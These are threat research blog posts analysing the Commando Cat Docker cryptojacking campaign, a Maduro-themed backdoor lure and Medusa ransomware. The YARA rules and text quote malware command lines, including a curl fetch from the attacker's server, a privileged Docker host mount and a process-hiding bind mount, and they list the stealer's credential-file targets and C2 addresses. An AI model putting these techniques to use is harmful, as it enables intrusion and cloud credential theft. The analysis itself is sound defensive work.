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January 2, 2024

The Nine Lives of Commando Cat: Analyzing a Novel Malware Campaign Targeting Docker

"Commando Cat" is a novel cryptojacking campaign exploiting exposed Docker API endpoints. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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02
Jan 2024

Summary

  • Commando Cat is a novel cryptojacking campaign exploiting Docker for Initial Access
  • The campaign deploys a benign container generated using the Commando Project [1]
  • The attacker escapes this container and runs multiple payloads on the Docker host
  • The campaign deploys a credential stealer payload, targeting Cloud Service Provider credentials (AWS, GCP, Azure)
  • The other payloads exhibit a variety of sophisticated techniques, including an interesting process hiding technique (as discussed below) and a Docker Registry blackhole

Introduction: Commando cat

Cado Security labs (now part of Darktrace) encountered a novel malware campaign, dubbed “Commando Cat”, targeting exposed Docker API endpoints. This is the second campaign targeting Docker since the beginning of 2024, the first being the malicious deployment of the 9hits traffic exchange application, a report which was published only a matter of weeks prior. [2]

Attacks on Docker are relatively common, particularly in cloud environments. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives. Commando Cat is a cryptojacking campaign leveraging Docker as an initial access vector and (ab)using the service to mount the host’s filesystem, before running a series of interdependent payloads directly on the host. 

As described in the coming sections, these payloads are responsible for registering persistence, enabling a backdoor, exfiltrating various Cloud Service Provider credential files and executing the miner itself. Of particular interest are a number of evasion techniques exhibited by the malware, including an unusual process hiding mechanism. 

Initial access

The payloads are delivered to exposed Docker API instances over the Internet by the IP 45[.]9.148.193 (which is the same as C2). The attacker instructs Docker to pull down a Docker image called cmd.cat/chattr. The cmd.cat (also known as Commando) project “generates Docker images on-demand with all the commands you need and simply point them by name in the docker run command.” 

It is likely used by the attacker to seem like a benign tool and not arouse suspicion.

The attacker then creates the container with a custom command to execute:

Container image with custom command to execute
Figure 1: Container with custom command to execute

It uses the chroot to escape from the container onto the host operating system. This initial command checks if the following services are active on the system:

  • sys-kernel-debugger
  • gsc
  • c3pool_miner
  • Dockercache

The gsc, c3pool_miner, and dockercache services are all created by the attacker after infection. The purpose of the check for sys-kernel-debugger is unclear - this service is not used anywhere in the malware, nor is it part of Linux. It is possible that the service is part of another campaign that the attacker does not want to compete with.

Once these checks pass, it runs the container again with another command, this time to infect it:

Container with infect command
Figure 2: Container with infect command

This script first chroots to the host, and then tries to copy any binaries named wls or cls to wget and curl respectively. A common tactic of cryptojacking campaigns is that they will rename these binaries to evade detection, likely the attacker is anticipating that this box was previously infected by a campaign that renamed the binaries to this, and is undoing that. The attacker then uses either wget or curl to pull down the user.sh payload.

This is repeated with the sh parameter changed to the following other scripts:

  • tshd
  • gsc
  • aws

In addition, another payload is delivered directly as a base64 encoded script instead of being pulled down from the C2, this will be discussed in a later section.

user.sh

The primary purpose of the user.sh payload is to create a backdoor in the system by adding an SSH key to the root account, as well as adding a user with an attacker-known password.

On startup, the script changes the permissions and attributes on various system files such as passwd, shadow, and sudoers in order to allow for the creation of the backdoor user:

Script
Figure 3

It then calls a function called make_ssh_backdoor, which inserts the following RSA and ED25519 SSH key into the root user’s authorized_keys file:

function make_ssh_backdoor
Figure 4

It then updates a number of SSH config options in order to ensure root login is permitted, along with enabling public key and password authentication. It also sets the AuthorizedKeysFile variable to a local variable named “$hidden_authorized_keys”, however this variable is never actually defined in the script, resulting in public key authentication breaking.

Once the SSH backdoor has been installed, the script then calls make_hidden_door. The function creates a new user called “games” by adding an entry for it directly into /etc/passwd and /etc/shadow, as well giving it sudo permission in /etc/sudoers.

The “games” user has its home directory set to /usr/games, likely as an attempt to appear as legitimate. To continue this theme, the attacker also has opted to set the login shell for the “games” user as /usr/bin/nologin. This is not the path for the real nologin binary, and is instead a copy of bash placed here by the malware. This makes the “games” user appear as a regular service account, while actually being a backdoor.

Games user
Figure 5

With the two backdoors in place, the malware then calls home with the SSH details to an API on the C2 server. Additionally, it also restarts sshd to apply the changes it made to the configuration file, and wipes the bash history.

SSH details
Figure 6

This provides the attacker with all the information required to connect to the server via SSH at any time, using either the root account with a pubkey, or the “games” user with a password or pubkey. However, as previously mentioned, pubkey authentication is broken due to a bug in the script. Consequently, the attacker only has password access to “games” in practice.

tshd.sh

This script is responsible for deploying TinyShell (tsh), an open source Unix backdoor written in C [3]. Upon launch, the script will try to install make and gcc using either apk, apt, or yum, depending on which is available. The script then pulls a copy of the tsh binary from the C2 server, compiles it, and then executes it.

Script
Figure 7

TinyShell works by listening on the host for incoming connections (on port 2180 in this case), with security provided by a hardcoded encryption key in both the client and server binaries. As the attacker has graciously provided the code, the key could be identified as “base64st”. 

A side effect of this is that other threat actors could easily scan for this port and try authenticating using the secret key, allowing anyone with the skills and resources to take over the botnet. TinyShell has been commonly used as a payload before, as an example, UNC2891 has made extensive use of TinyShell during their attacks on Oracle Solaris based systems [4].
The script then calls out to a freely available IP logger service called yip[.]su. This allows the attacker to be notified of where the tsh binary is running, to then connect to the infected machine.

Script
Figure 8

Finally, the script drops another script to /bin/hid (also referred to as hid in the script), which can be used to hide processes:

Script
Figure 9

This script works by cloning the Linux mtab file (a list of the active mounts) to another directory. It then creates a new bind mount for the /proc/pid directory of the process the attacker wants to hide, before restoring the mtab. The bind mount causes any queries to the /proc/pid directory to show an empty directory, causing tools like ps aux to omit the process. Cloning the mtab and then restoring the older version also hides the created bind mount, making it harder to detect.

The script then uses this binary to hide the tshd process.

gsc.sh

This script is responsible for deploying a backdoor called gs-netcat, a souped-up version of netcat that can punch through NAT and firewalls. It’s purpose is likely for acting as a backdoor in scenarios where traditional backdoors like TinyShell would not work, such as when the infected host is behind NAT.

Gs-netcat works in a somewhat interesting way - in order for nodes to find each other, they use their shared secret instead of IP address using the  service. This permits gs-netcat to function in virtually every environment as it circumvents many firewalls on both the client and server end. To calculate a shared secret, the script simply uses the victims IP and hostname:

Script
Figure 10

This is more acceptable than tsh from a security point of view, there are 4 billion possible IP addresses and many more possible hostnames, making a brute force harder, although still possible by using strategies such as lists of common hostnames and trying IPs from blocks known for hosting virtual servers such as AWS.

The script proceeds to set up gs-netcat by pulling it from the attacker’s C2 server, using a specific version based on the architecture of the infected system. Interestingly to note, the attacker will use the cmd.cat containers to untar the downloaded payload, if tar is not available on the system or fails. Instead of using /tmp, it also uses /dev/shm instead, which acts as a temporary file store, but memory backed instead. It is possible that this is an evasion mechanism, as it is much more common for malware to use /tmp. This also results in the artefacts not touching the disk, making forensics somewhat more difficult. This technique has been used before in BPFdoor - a high-profile Linux campaign [6].

Script
Figure 11

Once the binary has been installed, the script creates a malicious systemd service unit to achieve persistence. This is a very common method for Linux malware to obtain persistence; however not all systems use systemd, resulting in this payload being rendered entirely ineffective on these systems. $VICCS is the shared secret discussed earlier, which is stored in a file and passed to the process.

Script
Figure 12

The script then uses the previously discussed hid binary to hide the gs-netcat process. It is worth noting that this will not survive a reboot, as there is no mechanism to hide the process again after it is respawned by systemd.

Script
Figure 13

Finally, the malware sends the shared secret to the attacker via their API, much like how it does with SSH:

Script
Figure 14

This allows the attacker to run their client instance of gs-netcat with the shared secret and gain persistent access to the infected machine.

aws.sh

The aws.sh script is a credential grabber that pulls credentials from several files on disk, as well as IMDS, and environment variables. Interestingly, the script creates a file so that once the script runs the first time, it can never be run again as the file is never removed. This is potentially to avoid arousing suspicion by generating lots of calls to IMDS or the AWS API, as well as making the keys harvested by the attacker distinct per infected machine.

The script overall is very similar to scripts that have been previously attributed to TeamTNT and could have been copied from one of their campaigns [7.] However, script-based attribution is difficult, and while the similarities are visible, it is hard to attribute this script to any particular group.

Script
Figure 15

The first thing run by the script (if an AWS environment is detected) is the AWS grabber script. Firstly, it makes several requests to IMDS in order to obtain information about the instance’s IAM role and the security credentials for it. The timeout is likely used to stop this part of the script taking a long time to run on systems where IMDS is not available. It would also appear this script only works with IMDSv1, so can be rendered ineffective by enforcing IMDSv2.

Script
Figure 16

Information of interest to the attacker, such as instance profiles, access keys, and secret keys, are then extracted from the response and placed in a global variable called CSOF, which is used throughout the script to store captured information before sending it to the API.

Next, it checks environment variables on the instance for AWS related variables, and adds them to CSOF if they are present.

Script
Figure 17

Finally, it adds the sts caller identity returned from the AWS command line to CSOF.

Next up is the cred_files function, which executes a search for a few common credential file names and reads their contents into CSOF if they are found. It has a few separate lists of files it will try to capture.

CRED_FILE_NAMES:

  • "authinfo2"
  • "access_tokens.db"
  • ".smbclient.conf"
  • ".smbcredentials"
  • ".samba_credentials"
  • ".pgpass"
  • "secrets"
  • ".boto"
  • ".netrc"
  • "netrc"
  • ".git-credentials"
  • "api_key"
  • "censys.cfg"
  • "ngrok.yml"
  • "filezilla.xml"
  • "recentservers.xml"
  • "queue.sqlite3"
  • "servlist.conf"
  • "accounts.xml"
  • "kubeconfig"
  • "adc.json"
  • "azure.json"
  • "clusters.conf" 
  • "docker-compose.yaml"
  • ".env"

AWS_CREDS_FILES:

  • "credentials"
  • ".s3cfg"
  • ".passwd-s3fs"
  • ".s3backer_passwd"
  • ".s3b_config"
  • "s3proxy.conf"

GCLOUD_CREDS_FILES:

  • "config_sentinel"
  • "gce"
  • ".last_survey_prompt.yaml"
  • "config_default"
  • "active_config"
  • "credentials.db"
  • "access_tokens.db"
  • ".last_update_check.json"
  • ".last_opt_in_prompt.yaml"
  • ".feature_flags_config.yaml"
  • "adc.json"
  • "resource.cache"

The files are then grabbed by performing a find on the root file system for their name, and the results appended to a temporary file, before the final concatenation of the credentials files is read back into the CSOF variable.

CSOF variable
Figure 18

Next up is get_prov_vars, which simply loops through all processes in /proc and reads out their environment variables into CSOF. This is interesting as the payload already checks the environment variables in a lot of cases, such as in the aws, google, and azure grabbers. So, it is unclear why they grab all data, but then grab specific portions of the data again.

Code
Figure 19

Regardless of what data it has already grabbed, get_google and get_azure functions are called next. These work identically to the AWS environment variable grabber, where it checks for the existence of a variable and then appends its contents (or the file’s contents if the variable is path) to CSOF.

Code
Figure 20

The final thing it grabs is an inspection of all running docker containers via the get_docker function. This can contain useful information about what's running in the container and on the box in general, as well as potentially providing more secrets that are passed to the container.

Code
Figure 21

The script then closes out by sending all of the collected data to the attacker. The attacker has set a username and password on their API endpoint for collected data, the purpose for which is unclear. It is possible that the attacker is concerned with the endpoint being leaked and consequently being spammed with false data by internet vigilantes, so added the authentication as a mechanism allowing them to cycle access by updating the payload and API.

Code
Figure 22

The base64 payload

As mentioned earlier, the final payload is delivered as a base64 encoded script rather than in the traditional curl-into-bash method used previously by the malware. This base64 is echoed into base64 -d, and then piped into bash. This is an extremely common evasion mechanism, with many script-based Linux threat actors using the same approach. It is interesting to note that the C2 IP used in this script is different from the other payloads.

The base64 payload serves two primary purposes, to deploy an XMRig cryptominer, and to “secure” the docker install on the infected host.

When it is run, the script looks for traces of other malware campaigns. Firstly, it removes all containers that have a command of /bin/bash -c 'apt-get or busybox, and then it removes all containers that do not have a command that contains chroot (which is the initial command used by this payload).

Code
Figure 23

Next, it looks for any services named “c3pool_miner” or “moneroocean_miner” and stops & disables the services. It then looks for associated binaries such as /root/c3pool/xmrig and /root/moneroocean/xmrig and deletes them from the filesystem. These steps are taken prior to deploying their own miner, so that they aren't competing for CPU time with other threat actors.

Once the competing miners have been killed off, it then sets up its own miner. It does this by grabbing a config and binary from the C2 server and extracting it to /usr/sbin. This drops two files: docker-cache and docker-proxy.

The docker-proxy binary is a custom fork of XMRig, with the path to the attacker’s config file hardcoded in the binary. It is invoked by docker-cache, which acts as a stager to ensure it is running, while also having the functionality to update the binary, should a file with .upd be detected.

It then uses a systemd service to achieve persistence for the XMRig stager, using the name docker cache daemon to appear inconspicuous. It is interesting to note that the name dockercache was also used by the Cetus cryptojacking worm .

Code
Figure 24

It then uses the hid script discussed previously to hide the docker-cache and docker-proxy services by creating a bind mount over their /proc entry. The effect of this is that if a system administrator were to use a tool like htop to try and see what process was using up the CPU on the server, they would not be able to see the process.

Finally, the attacker “secures” docker. First, it pulls down alpine and tags it as docker/firstrun (this will become clear as to why later), and then deletes any images in a hardcoded list of images that are commonly used in other campaigns.

Code
Figure 25

Next, it blackholes the docker registry by writing it's hostname to /etc/hosts with an IP of 0.0.0.0

Code
Figure 26

This completely blocks other attackers from pulling their images/tools onto the box, eliminating the risk of competition. Keeping the Alpine image named as docker/firstrun allows the attacker to still use the docker API to spawn an alpine box they can use to break back in, as it is already downloaded so the blackhole has no effect.

Conclusion

This malware sample, despite being primarily scripts, is a sophisticated campaign with a large amount of redundancy and evasion that makes detection challenging. The usage of the hid process hider script is notable as it is not commonly seen, with most malware opting to deploy clunkier rootkit kernel modules. The Docker Registry blackhole is also novel, and very effective at keeping other attackers off the box.

The malware functions as a credential stealer, highly stealthy backdoor, and cryptocurrency miner all in one. This makes it versatile and able to extract as much value from infected machines as possible. The payloads seem similar to payloads deployed by other threat actors, with the AWS stealer in particular having a lot of overlap with scripts attributed to TeamTNT in the past. Even the C2 IP points to the same provider that has been used by TeamTNT in the past. It is possible that this group is one of the many copycat groups that have built on the work of TeamTNT.

Indicators of compromise (IoCs)

Hashes

user 5ea102a58899b4f446bb0a68cd132c1d

tshd 73432d368fdb1f41805eba18ebc99940

gsc 5ea102a58899b4f446bb0a68cd132c1d

aws 25c00d4b69edeef1518f892eff918c2c

base64 ec2882928712e0834a8574807473752a

IPs

45[.]9.148.193

103[.]127.43.208

Yara Rule

rule Stealer_Linux_CommandoCat { 
 
meta: 

        description = "Detects CommandoCat aws.sh credential stealer script" 
 
        license = "Apache License 2.0" 
 
        date = "2024-01-25" 
 
        hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" 
 
    strings: 
 
        // Constants 

        $const1 = "CRED_FILE_NAMES" 
 
        $const2 = "MIXED_CREDFILES" 
 
        $const3 = "AWS_CREDS_FILES" 
 
        $const4 = "GCLOUD_CREDS_FILES" 
 
        $const5 = "AZURE_CREDS_FILES" 
 
        $const6 = "VICOIP" 
 
        $const7 = "VICHOST" 

 // Functions 
 $func1 = "get_docker()" 
 $func2 = "cred_files()" 
 $func3 = "get_azure()" 
 $func4 = "get_google()" 
 $func5 = "run_aws_grabber()" 
 $func6 = "get_aws_infos()" 
 $func7 = "get_aws_meta()" 
 $func8 = "get_aws_env()" 
 $func9 = "get_prov_vars()" 

 // Log Statements 
 $log1 = "no dubble" 
 $log2 = "-------- PROC VARS -----------------------------------" 
 $log3 = "-------- DOCKER CREDS -----------------------------------" 
 $log4 = "-------- CREDS FILES -----------------------------------" 
 $log5 = "-------- AZURE DATA --------------------------------------" 
 $log6 = "-------- GOOGLE DATA --------------------------------------" 
 $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" 
 $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" 
 $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" 
 $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" 
 $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" 

 // Paths 
 $path1 = "/root/.docker/config.json" 
 $path2 = "/home/*/.docker/config.json" 
 $path3 = "/etc/hostname" 
 $path4 = "/tmp/..a.$RANDOM" 
 $path5 = "/tmp/$RANDOM" 
 $path6 = "/tmp/$RANDOM$RANDOM" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat { 
 meta: 
 description = "Detects CommandoCat gsc.sh backdoor registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "SETPATH" 
 $const3 = "SETNAME" 
 $const4 = "SETSERV" 
 $const5 = "VICIP" 
 $const6 = "VICHN" 
 $const7 = "GSCSTATUS" 
 $const8 = "VICSYSTEM" 
 $const9 = "GSCBINURL" 
 $const10 = "GSCATPID" 

 // Functions 
 $func1 = "hidfile()" 

 // Log Statements 
 $log1 = "run gsc ..." 

 // Paths 
 $path1 = "/dev/shm/.nc.tar.gz" 
 $path2 = "/etc/hostname" 
 $path3 = "/bin/gs-netcat" 
 $path4 = "/etc/systemd/gsc" 
 $path5 = "/bin/hid" 

 // General 
 $str1 = "mount --bind /usr/foo /proc/$1" 
 $str2 = "cp /etc/mtab /usr/t" 
 $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat_tshd { 
 meta: 
 description = "Detects CommandoCat tshd TinyShell registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "HOME" 
 $const3 = "TSHDPID" 

 // Functions 
 $func1 = "setuptools()" 
 $func2 = "hidfile()" 
 $func3 = "hidetshd()" 

 // Paths 
 $path1 = "/var/tmp" 
 $path2 = "/bin/hid" 
 $path3 = "/etc/mtab" 
 $path4 = "/dev/shm/..tshdpid" 
 $path5 = "/tmp/.tsh.tar.gz" 
 $path6 = "/usr/sbin/tshd" 
 $path7 = "/usr/foo" 
 $path8 = "./tshd" 

 // General 
 $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" 
 $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

References:

  1. https://github.com/lukaszlach/commando
  2. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
  3. https://github.com/creaktive/tsh
  4. https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/
  5. https://www.gsocket.io/
  6. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  7. https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
  8. https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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January 9, 2026

Maduro Arrest Used as a Lure to Deliver Backdoor

maduro arrest used as lure to deliver backdoorDefault blog imageDefault blog image

Introduction

Threat actors frequently exploit ongoing world events to trick users into opening and executing malicious files. Darktrace security researchers recently identified a threat group using reports around the arrest of Venezuelan President Nicolàs Maduro on January 3, 2025, as a lure to deliver backdoor malware.

Technical Analysis

While the exact initial access method is unknown, it is likely that a spear-phishing email was sent to victims, containing a zip archive titled “US now deciding what’s next for Venezuela.zip”. This file included an executable named “Maduro to be taken to New York.exe” and a dynamic-link library (DLL), “kugou.dll”.  

The binary “Maduro to be taken to New York.exe” is a legitimate binary (albeit with an expired signature) related to KuGou, a Chinese streaming platform. Its function is to load the DLL “kugou.dll” via DLL search order. In this instance, the expected DLL has been replaced with a malicious one with the same name to load it.  

DLL called with LoadLibraryW.
Figure 1: DLL called with LoadLibraryW.

Once the DLL is executed, a directory is created C:\ProgramData\Technology360NB with the DLL copied into the directory along with the executable, renamed as “DataTechnology.exe”. A registry key is created for persistence in “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Lite360” to run DataTechnology.exe --DATA on log on.

 Registry key added for persistence.
Figure 2. Registry key added for persistence.
Folder “Technology360NB” created.
Figure 3: Folder “Technology360NB” created.

During execution, a dialog box appears with the caption “Please restart your computer and try again, or contact the original author.”

Message box prompting user to restart.
Figure 4. Message box prompting user to restart.

Prompting the user to restart triggers the malware to run from the registry key with the command --DATA, and if the user doesn't, a forced restart is triggered. Once the system is reset, the malware begins periodic TLS connections to the command-and-control (C2) server 172.81.60[.]97 on port 443. While the encrypted traffic prevents direct inspection of commands or data, the regular beaconing and response traffic strongly imply that the malware has the ability to poll a remote server for instructions, configuration, or tasking.

Conclusion

Threat groups have long used geopolitical issues and other high-profile events to make malicious content appear more credible or urgent. Since the onset of the war in Ukraine, organizations have been repeatedly targeted with spear-phishing emails using subject lines related to the ongoing conflict, including references to prisoners of war [1]. Similarly, the Chinese threat group Mustang Panda frequently uses this tactic to deploy backdoors, using lures related to the Ukrainian war, conventions on Tibet [2], the South China Sea [3], and Taiwan [4].  

The activity described in this blog shares similarities with previous Mustang Panda campaigns, including the use of a current-events archive, a directory created in ProgramData with a legitimate executable used to load a malicious DLL and run registry keys used for persistence. While there is an overlap of tactics, techniques and procedures (TTPs), there is insufficient information available to confidently attribute this activity to a specific threat group. Users should remain vigilant, especially when opening email attachments.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

172.81.60[.]97
8f81ce8ca6cdbc7d7eb10f4da5f470c6 - US now deciding what's next for Venezuela.zip
722bcd4b14aac3395f8a073050b9a578 - Maduro to be taken to New York.exe
aea6f6edbbbb0ab0f22568dcb503d731  - kugou.dll

References

[1] https://cert.gov.ua/article/6280422  

[2] https://www.ibm.com/think/x-force/hive0154-mustang-panda-shifts-focus-tibetan-community-deploy-pubload-backdoor

[3] https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan

[4] https://www.ibm.com/think/x-force/hive0154-targeting-us-philippines-pakistan-taiwan

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About the author
Tara Gould
Malware Research Lead

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January 9, 2026

Under Medusa’s Gaze: How Darktrace Uncovers RMM Abuse in Ransomware Campaigns

madusa ransomwareDefault blog imageDefault blog image

What is Medusa Ransomware in 2025?

In 2025, the Medusa Ransomware-as-a-Service (RaaS) emerged as one of the top 10 most active ransomware threat actors [1]. Its growing impact prompted a joint advisory from the US Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) [3]. As of January 2026, more than 500 organizations have fallen victim to Medusa ransomware [2].

Darktrace previously investigated Medusa in a 2024 blog, but the group’s rapid expansion and new intelligence released in late 2025 has lead Darktrace’s Threat Research team to  investigate further. Recent findings include Microsoft’s research on Medusa actors exploiting a vulnerability in Fortra’s GoAnywhere MFT License Servlet (CVE-2025-10035)[4] and Zencec’s report on Medusa’s abuse of flaws in SimpleHelp’s remote support software (CVE-2024-57726, CVE-2024-57727, CVE-2024-57728) [5].

Reports vary on when Medusa first appeared in the wild. Some sources mention June 2021 as the earliest sightings, while others point to late 2022, when its developers transitioned to the RaaS model, as the true beginning of its operation [3][11].

Madusa Ransomware history and background

The group behind Medusa is known by several aliases, including Storm-1175 and Spearwing [4] [7]. Like its mythological namesake, Medusa has many “heads,” collaborating with initial access brokers (IABs) and, according to some evidence, affiliating with Big Game Hunting (BGH) groups such as Frozen Spider, as well as the cybercriminal group UNC7885 [3][6][13].

Use of Cyrillic in its scripts, activity on Russian-language cybercrime forums, slang unique to Russian criminal subcultures, and avoidance of targets in Commonwealth of Independent States (CIS) countries suggest that Medusa operates from Russia or an allied state [11][12].

Medusa ransomware should not be confused with other similarly named malware, such as the Medusa Android Banking Trojan, the Medusa Botnet/Medusa Stealer, or MedusaLocker ransomware. It is easily distinguishable from these variants because it appends the extension .MEDUSA to encrypted files and drops the ransom note !!!READ_ME_MEDUSA!!!.txt on compromised systems [8].

Who does Madusa Ransomware target?

The group appears to show little restraint, indiscriminately attacking organizations across all sectors, including healthcare, and is known to employ triple extortion tactics whereby sensitive data is encrypted, victims are threatened with data leaks, and additional pressure is applied through DDoS attacks or contacting the victim’s customers, rather than the more common double extortion model [13].

Madusa Ransomware TTPs

To attain initial access, Medusa actors typically purchase access to already compromised devices or accounts via IABs that employ phishing, credential stuffing, or brute-force attacks, and also target vulnerable or misconfigured Internet-facing systems.

In addition to the GoAnywhere MFT and SimpleHelp RMM flaws, other vulnerabilities exploited in Medusa attacks include ConnectWise ScreenConnect RMM (CVE-2024-1709), Microsoft Exchange Server (CVE-2021-34473, also known as ProxyShell), and Fortinet Enterprise Management Servers (CVE-2023-48788) [18][19][20][21][24][25].

Darktrace’s Coverage of Medusa Ransomware

Between December 2023 and November 2025, Darktrace observed multiple cases of file encryption related to Medusa ransomware across its customer base. When enabled, Darktrace’s Autonomous Response capability intervened early in the attack chain, blocking malicious activity before file encryption could begin.

Some of the affected were based in Europe, the Middle East and Africa (EMEA), others in the Americas (AMS), and the remainder in the Asia-Pacific and Japan region. The most impacted sectors were financial services and the automotive industry, followed by healthcare, and finally organizations in arts, entertainment and recreation, ICT, and manufacturing.

Remote Monitoring and Management (RMM) tool abuse

In most customer environments where Medusa file encryption attempts were observed, and in one case where the compromise was contained before encryption, unusual external HTTP connections associated with JWrapper were also detected. JWrapper is a legitimate tool designed to simplify the packaging, distribution, and management of Java applications, enabling the creation of executables that run across different operating systems. Many of the destination IP addresses involved in this activity were linked to SimpleHelp servers or associated with Atera.

Medusa actors appear to favor RMM tools such as SimpleHelp. Unpatched or misconfigured SimpleHelp RMM servers can serve as an initial access vector to the victims’ infrastructure.  After gaining access to SimpleHelp management servers, the threat actors edit server configuration files to redirect existing SimpleHelp RMM agents to communicate with unauthorized servers under their control.

The SimpleHelp tool is not only used for command-and-control (C2) and enabling persistence but is also observed during lateral movement within the network, downloading additional attack tools, data exfiltration, and even ransomware binary execution. Other legitimate remote access tools abused by Medusa in a similar manner to evade detection include Atera, AnyDesk, ScreenConnect, eHorus, N-able, PDQ Deploy/Inventory, Splashtop, TeamViewer, NinjaOne, Navicat, and MeshAgent [4][5][15][16][17].

Data exfiltration

Another correlation among Darktrace customers affected by Medusa was observed during the data exfiltration phase. In several environments, data was exfiltrated to the endpoints erp.ranasons[.]com or pruebas.pintacuario[.]mx (143.110.243[.]154, 144.217.181[.]205) over ports 443, 445, and 80. erp.ranasons[.]com was seemingly active between November 2024 and September 2025, while pruebas.pintacuario[.]mx was seen from November 2024 to March 2025. Evidence suggests that pruebas.pintacuario[.]mx previously hosted a SimpleHelp server [22][23].

Apart from RMM tools, Medusa is also known to use Rclone and Robocopy for data exfiltration [3][19]. During one Medusa compromise detected in mid-2024, the customer’s data was exfiltrated to external destinations associated with the Ngrok proxy service using an SSH-2.0-rclone client.

Medusa Compromise Leveraging SimpleHelp

In Q4 2025, Darktrace assisted a European company impacted by Medusa ransomware. The organization had partial Darktrace / NETWORK coverage and had configured Darktrace’s Autonomous Response capability to require manual confirmation for all actions. Despite these constraints, data received through the customer’s security integration with CrowdStrike Falcon enabled Darktrace analysts to reconstruct the attack chain, although the initial access vector remains unclear due to limited visibility.

In late September 2025, a device out of the scope of Darktrace's visibility began scanning the network and using RDP, NTLM/SMB, DCE_RPC, and PowerShell for lateral movement.

CrowdStrike “Defense Evasion: Disable or Modify Tools” alerts related to a suspicious driver (c:\windows\[0-9a-b]{4}.exe) and a PDQ Deploy executable (share=\\<device_hostname>\ADMIN$ file=AdminArsenal\PDQDeployRunner\service-1\exec\[0-9a-b]{4}.exe) suggest that the attackers used the Bring Your Own Vulnerable Driver (BYOVD) technique to terminate antivirus processes on network devices, leveraging tools such as KillAV or AbyssWorker along with the PDQ Software Deployment solution [19][26].

A few hours later, Darktrace observed the same device that had scanned the network writing Temp\[a-z]{2}.exe over SMB to another device on the same subnet. According to data from the CrowdStrike alert, this executable was linked to an RMM application located at C:\Users\<compromised_user>\Documents\[a-z]{2}.exe. The same compromised user account later triggered a CrowdStrike “Command and Control: Remote Access Tools” alert when accessing C:\ProgramData\JWrapper-Remote Access\JWrapper-Remote Access Bundle-[0-9]{11}\JWrapperTemp-[0-9]{10}-[0-9]{1}-app\bin\windowslauncher.exe [27].

An executable file associated with the SimpleHelp RMM tool being written to other devices using the SMB protocol, as detected by Darktrace.
Figure 1: An executable file associated with the SimpleHelp RMM tool being written to other devices using the SMB protocol, as detected by Darktrace.

Soon after, the destination device and multiple other network devices began establishing connections to 31.220.45[.]120 and 213.183.63[.]41, both of which hosted malicious SimpleHelp RMM servers. These C2 connections continued for more than 20 days after the initial compromise.

CrowdStrike integration alerts for the execution of robocopy . "c:\windows\\" /COPY:DT /E /XX /R:0 /W:0 /NP /XF RunFileCopy.cmd /IS /IT commands on several Windows servers, suggested that this utility was likely used to stage files in preparation for data exfiltration [19].

Around two hours later, Darktrace detected another device connecting to the attacker’s SimpleHelp RMM servers. This internal server had ‘doc’ in its hostname, indicating it was likely a file server. It was observed downloading documents from another internal server over SMB and uploading approximately 70 GiB of data to erp.ranasons[.]com (143.110.243[.]154:443).

Data uploaded to erp.ranasons[.]com and the number of model alerts from the exfiltrating device, represented by yellow and orange dots.
Figure 2: Data uploaded to erp.ranasons[.]com and the number of model alerts from the exfiltrating device, represented by yellow and orange dots.

Darktrace’s Cyber AI Analyst autonomously investigated the unusual connectivity, correlating the separate C2 and data exfiltration events into a single incident, providing greater visibility into the ongoing attack.

Cyber AI Analyst identified a file server making C2 connections to an attacker-controlled SimpleHelp server (213.183.63[.]41) and exfiltrating data to erp.ranasons[.]com.
Figure 3: Cyber AI Analyst identified a file server making C2 connections to an attacker-controlled SimpleHelp server (213.183.63[.]41) and exfiltrating data to erp.ranasons[.]com.
The same file server that connected to 213.183.63[.]41 and exfiltrated data to erp.ranasons[.]com was also observed attempting to connect to an IP address associated with Moscow, Russia (193.37.69[.]154:7070).
Figure 4: The same file server that connected to 213.183.63[.]41 and exfiltrated data to erp.ranasons[.]com was also observed attempting to connect to an IP address associated with Moscow, Russia (193.37.69[.]154:7070).

